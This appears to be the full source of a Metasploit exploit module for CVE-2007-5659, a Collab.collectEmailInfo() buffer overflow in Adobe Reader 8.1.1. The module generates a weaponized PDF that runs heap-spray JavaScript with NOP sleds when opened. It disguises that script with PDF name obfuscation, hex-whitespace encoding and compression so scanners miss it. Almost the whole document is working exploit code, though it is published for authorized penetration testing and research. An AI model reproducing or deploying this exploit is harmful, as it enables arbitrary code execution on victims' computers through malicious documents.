Path: blob/master/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe Collab.collectEmailInfo() Buffer Overflow',17'Description' => %q{18This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 8.1.1.19By creating a specially crafted pdf that a contains malformed Collab.collectEmailInfo() call,20an attacker may be able to execute arbitrary code.21},22'License' => MSF_LICENSE,23'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],24'References' => [25[ 'CVE', '2007-5659' ],26[ 'OSVDB', '41495' ]27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30'DisablePayloadHandler' => true31},32'Payload' => {33'Space' => 1024,34'BadChars' => "\x00",35},36'Platform' => 'win',37'Targets' => [38[ 'Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)', { 'Ret' => '' } ],39],40'DisclosureDate' => '2008-02-08',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),53]54)55end5657def exploit58# Encode the shellcode.59shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6061# Make some nops62nops = Rex::Text.to_unescape(make_nops(4))6364# Randomize variables65rand1 = rand_text_alpha(rand(100) + 1)66rand2 = rand_text_alpha(rand(100) + 1)67rand3 = rand_text_alpha(rand(100) + 1)68rand4 = rand_text_alpha(rand(100) + 1)69rand5 = rand_text_alpha(rand(100) + 1)70rand6 = rand_text_alpha(rand(100) + 1)71rand7 = rand_text_alpha(rand(100) + 1)72rand8 = rand_text_alpha(rand(100) + 1)73rand9 = rand_text_alpha(rand(100) + 1)74rand10 = rand_text_alpha(rand(100) + 1)75rand11 = rand_text_alpha(rand(100) + 1)76rand12 = rand_text_alpha(rand(100) + 1)7778script = %Q|79var #{rand1} = unescape("#{shellcode}");80var #{rand2} ="";81for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");82#{rand4} = #{rand2} + #{rand1};83#{rand5} = unescape("#{nops}");84#{rand6} = 20;85#{rand7} = #{rand6}+#{rand4}.length86while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};87#{rand8} = #{rand5}.substring(0, #{rand7});88#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});89while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};90#{rand10} = new Array();91for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};92var #{rand12} = unescape("%u0c0c%u0c0c");93while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};94this.collabStore = Collab.collectEmailInfo({subj: "",msg: #{rand12}});95|9697# Create the pdf98pdf = make_pdf(script)99100print_status("Creating '#{datastore['FILENAME']}' file...")101102file_create(pdf)103end104105def random_non_ascii_string(count)106result = ""107count.times do108result << (rand(128) + 128).chr109end110result111end112113def io_def(id)114"%d 0 obj" % id115end116117def io_ref(id)118"%d 0 R" % id119end120121# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/122def n_obfu(str)123result = ""124str.scan(/./u) do |c|125if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'126result << "#%x" % c.unpack("C*")[0]127else128result << c129end130end131result132end133134def ascii_hex_whitespace_encode(str)135result = ""136whitespace = ""137str.each_byte do |b|138result << whitespace << "%02x" % b139whitespace = " " * (rand(3) + 1)140end141result << ">"142end143144def make_pdf(js)145xref = []146eol = "\x0d\x0a"147endobj = "endobj" << eol148149# Randomize PDF version?150pdf = "%PDF-1.5" << eol151pdf << "%" << random_non_ascii_string(4) << eol152xref << pdf.length153pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj154xref << pdf.length155pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj156xref << pdf.length157pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj158xref << pdf.length159pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj160xref << pdf.length161pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj162xref << pdf.length163compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))164pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol165pdf << "stream" << eol166pdf << compressed << eol167pdf << "endstream" << eol168pdf << endobj169xrefPosition = pdf.length170pdf << "xref" << eol171pdf << "0 %d" % (xref.length + 1) << eol172pdf << "0000000000 65535 f" << eol173xref.each do |index|174pdf << "%010d 00000 n" % index << eol175end176pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol177pdf << "startxref" << eol178pdf << xrefPosition.to_s() << eol179pdf << "%%EOF" << eol180end181end182183184